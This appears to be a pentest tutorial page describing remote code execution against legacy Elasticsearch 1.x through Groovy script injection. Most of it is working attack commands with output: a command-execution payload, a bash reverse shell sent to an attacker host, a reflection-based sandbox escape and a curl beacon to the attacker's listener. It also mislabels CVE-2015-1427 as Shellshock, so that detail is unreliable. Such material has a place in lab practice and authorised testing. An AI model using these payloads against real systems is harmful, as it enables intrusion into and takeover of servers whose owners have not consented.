Skip to content
HackIndex logo

HackIndex

Elasticsearch RCE via Groovy Script Injection

4 min read Mar 26, 2026

Elasticsearch 1.x enabled dynamic Groovy scripting by default, allowing arbitrary Groovy code execution through the search API. CVE-2014-3120 and CVE-2015-1427 (Shellshock) are sandbox escape vulnerabilities that allow code execution even when the sandbox is enabled. These vulnerabilities are fixed in Elasticsearch 1.6+ and removed entirely in 2.x, but they appear regularly on older lab environments and legacy internal deployments.

The attack requires the REST API to be accessible. Unauthenticated access makes it trivial. Authenticated access with a user that can run searches is sufficient.

Verify Version and Scripting State

Confirm the Elasticsearch version before attempting script-based exploitation. Dynamic scripting is only enabled by default on 1.x and only exploitable with these CVEs on specific sub-versions:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/" | python3 -m json.tool
{
  "name": "node-1",
  "cluster_name": "elasticsearch",
  "version": {
    "number": "1.4.2",
    "build_flavor": "default"
  }
}

Versions 1.3.x and earlier are vulnerable to CVE-2014-3120 with no sandbox. Versions 1.3.0 to 1.5.x are vulnerable to CVE-2015-1427 sandbox escape. Versions 1.6+ have scripting disabled by default. Confirm scripting is active by running a benign script test first:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"test":{"script":"1+1"}}}'
{
  "hits": {
    "hits": [
      {
        "fields": {
          "test": [2]
        }
      }
    ]
  }
}

A response returning 2 confirms dynamic scripting is active. If you get a script_lang_not_supported or disabled error, scripting is off and these CVEs are not applicable.

CVE-2014-3120 — No Sandbox RCE (1.3.x and earlier)

On versions without the sandbox, Groovy executes directly. The script_fields parameter accepts arbitrary Groovy including Java runtime calls. Confirm command execution with a simple id check:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"cmd":{"script":"import java.util.*;import java.io.*;def cmd=\"id\";def p=cmd.execute();p.waitFor();new String(p.text)"}}}'
{
  "hits": {
    "hits": [
      {
        "fields": {
          "cmd": ["uid=1000(elasticsearch) gid=1000(elasticsearch) groups=1000(elasticsearch)\n"]
        }
      }
    ]
  }
}

Command output in the cmd field confirms RCE. Get a reverse shell by replacing the id command with a bash reverse shell payload. Set up the listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d "{\"size\":1,\"query\":{\"filtered\":{\"query\":{\"match_all\":{}}}},\"script_fields\":{\"cmd\":{\"script\":\"import java.util.*;import java.io.*;def cmd=\\\"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\\\";def p=Runtime.getRuntime().exec(new String[]{'/bin/bash','-c',cmd});p.waitFor();new String(p.text)\"}}}"

CVE-2015-1427 — Groovy Sandbox Escape (1.3.0 to 1.5.x)

The Groovy sandbox introduced in 1.3.0 can be escaped by using Java reflection to access restricted classes. The following payload bypasses the sandbox and executes system commands:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"rce":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.String.class).invoke(java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"}}}'

The Runtime.exec call via reflection bypasses the sandbox method whitelist. This returns a Process object rather than output text, so combine with a callback or out-of-band technique to confirm execution. A curl beacon to your listener is cleaner than trying to capture output inline:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/_search?pretty" -H 'Content-Type: application/json' -d "{\"size\":1,\"query\":{\"filtered\":{\"query\":{\"match_all\":{}}}},\"script_fields\":{\"rce\":{\"script\":\"java.lang.Math.class.forName('java.lang.Runtime').getMethod('exec',java.lang.String.class).invoke(java.lang.Math.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'curl http://$LHOST:$LPORT/rce-confirm')\"}}}"
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
GET /rce-confirm HTTP/1.1
Host: $LHOST:$LPORT
User-Agent: curl/7.x

An incoming request to the listener confirms out-of-band code execution. Follow up with a reverse shell payload using the same reflection-based exec call.

Using searchsploit for Payload Reference

Searchsploit has documented payloads for both CVEs that are useful as a reference if the above variants need adjustment for the specific sub-version:

┌──(kali㉿kali)-[~]
└─$ searchsploit elasticsearch
Elasticsearch - Remote Code Execution (CVE-2014-3120)  | exploits/linux/webapps/33370.py
Elasticsearch - Remote Code Execution (CVE-2015-1427)  | exploits/linux/webapps/36337.py
┌──(kali㉿kali)-[~]
└─$ searchsploit -m exploits/linux/webapps/36337.py

References